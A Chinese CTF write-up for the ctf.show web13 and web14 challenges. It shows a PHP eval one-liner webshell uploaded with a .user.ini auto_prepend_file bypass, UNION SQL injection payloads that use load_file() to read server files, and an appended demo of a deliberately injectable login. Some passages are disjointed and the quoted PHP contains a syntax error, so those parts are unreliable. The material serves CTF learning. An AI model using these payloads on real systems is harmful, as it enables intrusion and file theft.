ctfweb入门(13-14)

ctf.show_web13

进入题目是个文件上传的题目,尝试了一番文件上传漏洞利用的方法后,没有啥突破,可能有啥隐藏的目录,尝试源码泄露利用的方法,在输入upload.php.bak时成功下载下来源码。
.bak文件是备份文件。
这里列举一下常见的源码泄露
.hg源码泄漏 .git源码泄漏 .DS_Store文件泄漏,还有以.phps .bak结尾的网页
在web题没有头绪的时候可以尝试可能会有奇效。
源码如下:

<?php 
	header("content-type:text/html;charset=utf-8");
	$filename = $_FILES['file']['name'];
	$temp_name = $_FILES['file']['tmp_name'];
	$size = $_FILES['file']['size'];
	$error = $_FILES['file']['error'];
	$arr = pathinfo($filename);
	$ext_suffix = $arr['extension'];
	if ($size > 24){
		die("error file zise");
	}
	if (strlen($filename)>9){
		die("error file name");
	}
	if(strlen($ext_suffix)>3){
		die("error suffix");
	}
	if(preg_match("/php/i",$ext_suffix)){
		die("error suffix");
    }
    if(preg_match("/php/i"),$filename)){
        die("error file name");
    }
	if (move_uploaded_file($temp_name, './'.$filename)){
		echo "文件上传成功!";
	}else{
		echo "文件上传失败!";
	}

 ?>

文件的大小要小于等于24,名字长度小于等于9,后缀长度小于等于3,并且最要命的是后缀和名字都不能包含php。我们肯定是要上传一句话木马的,既然小于等于24可以这样写<?php eval($_POST['a']);正好24字节可以满足,但是由于后缀问题服务器无法解析该php语句。这里用一种特殊的手法来绕过。
1.我们先将一句话保存为1.txt。
2.上传1.txt
3上传.user.ini文件。
对于php中的.user.ini有如下解释:
PHP 会在每个目录下搜寻的文件名;如果设定为空字符串则 PHP 不会搜寻。也就是在.user.ini中如果设置了文件名,那么任意一个页面都会将该文件中的内容包含进去。
我们在.user.ini中输入auto_prepend_file =a.txt,这样在该目录下的所有文件都会包含a.txt的内容、

 那就直接构造参数吧,这里用post发送,我get试过了,不行,

查看当前目录有哪些文件:a=print_r(glob("*"));

a=highlight_file("903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php");


information_schema.`tables`一个过滤手段information_schema.`columns`,同理

apache的默认网站根路径是 /var/www/html, 我们试一下读这个文件的内容

load_file('/var/www/html/secret.php'),加载文本文件读取信息。

web14

<?php
include("secret.php");

if(isset($_GET['c'])){
    $c = intval($_GET['c']);
    sleep($c);
    switch ($c) {
        case 1:
            echo '$url';
            break;
        case 2:
            echo '@A@';
            break;
        case 555555:
            echo $url;
        case 44444:
            echo "@A@";
            break;
        case 3333:
            echo $url;
            break;
        case 222:
            echo '@A@';
            break;
        case 222:
            echo '@A@';
            break;
        case 3333:
            echo $url;
            break;
        case 44444:
            echo '@A@';
        case 555555:
            echo $url;
            break;
        case 3:
            echo '@A@';
        case 6000000:
            echo "$url";
        case 1:
            echo '@A@';
            break;
    }
}

highlight_file(__FILE__)

打开界面发现switch函数,遇到break才会停止,又因为有sleep所以时间应该小一点,直接?c=3

 访问

 感觉是一个注入漏洞,然后输入true  false返回值不一样,说明是数值型漏洞

CTFshow web14_Je3Z的博客-优快云博客

到这我们发现数据库中并没有我们想要的flag,但是有一条提示tell you a secret,secert has a secret…. 所以很有可能flag在secret.php中,然后mysql提供了读取本地文件的函数load_file(),但是要权限,用user()看一下权限是root可以用load_file()读
 

?query=-1/**/union/**/select/**/load_file('/var/www/html/secret.php')

从这可以看出过滤的名字,然后query需要用get方法赋值

 

?query=-1/**/union/**/select/**/load_file('/real_flag_is_here')

就可以得出flag

### 关于CTF Web入门教程 对于希望进入CTF领域并专注于Web安全方向的学习者来说,可以从多个平台获取资源和支持。例如,PicoCTF 平台不仅为初学者提供了详尽的教程和指导文档,还包括了针对不同难度级别的挑战题[^1]。这些题目覆盖了从简单的HTML、JavaScript到更复杂的SQL注入、跨站脚本攻击(XSS)等内容。 另外,《目录 第一章、基础知识篇》提到的基础知识部分也非常重要,尤其是其中涉及的Web安全基础章节[^2]。这部分内容通常会讲解HTTP协议的工作原理、常见的Web漏洞及其利用方式,以及如何防御这些问题的发生。 至于具体的实践机会,则可以通过参加像BugKu CTF这样的在线竞赛来获得。该平台上提供的`inspect-me`, `my-first-sqli`, 和 `post-the-get`等题目都是非常好的起点[^3]。它们设计简单明了,旨在帮助新手理解特定技术的概念并通过实际操作加深印象。 以下是几个适合初学者尝试的经典CTF Web类别的例子: #### 经典CTF Web题目实例 ```html <!-- Example of a basic XSS challenge --> <form action="/vulnerable_page" method="POST"> Comment: <input type="text" name="comment"/> </form> ``` 上述代码片段展示了一个可能存在反射型XSS漏洞的表单输入框。参赛选手的任务就是找出能够成功执行恶意脚本的方法。 --- #### Python模拟SQL Injection环境的小程序 ```python import sqlite3 def login(username, password): conn = sqlite3.connect(":memory:") cursor = conn.cursor() # 创建测试数据库结构 cursor.execute("CREATE TABLE users (id INTEGER PRIMARY KEY AUTOINCREMENT, username TEXT NOT NULL UNIQUE, password TEXT NOT NULL);") cursor.executemany("INSERT INTO users VALUES (?, ?, ?)", [(None,"admin","password"),(None,"testuser", "securepass")]) conn.commit() query = f"SELECT * FROM users WHERE username='{username}' AND password='{password}';" result = cursor.execute(query).fetchall() if len(result)>0: return True else: return False print(login('admin',"' OR '1'='1")) # 正确绕过验证逻辑 ``` 此Python脚本创建了一个内存中的SQLite数据库用于演示目的,并故意留下了可被利用的安全隐患——即未对用户提交的数据做适当转义处理从而允许发生SQL注入行为。 --- ### 总结 通过理论学习与动手实验相结合的方式,可以有效提升个人解决CTF比赛中遇到的各种复杂问题的能力。推荐按照以下顺序推进自己的学习进程:熟悉操作系统(Linux),掌握网络通信机制(HTTP/HTTPS),深入研究编程语言特性(Python/PHP/Javascript),最后再专攻某一具体方向如渗透测试或者二进制分析等领域内的高级主题。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值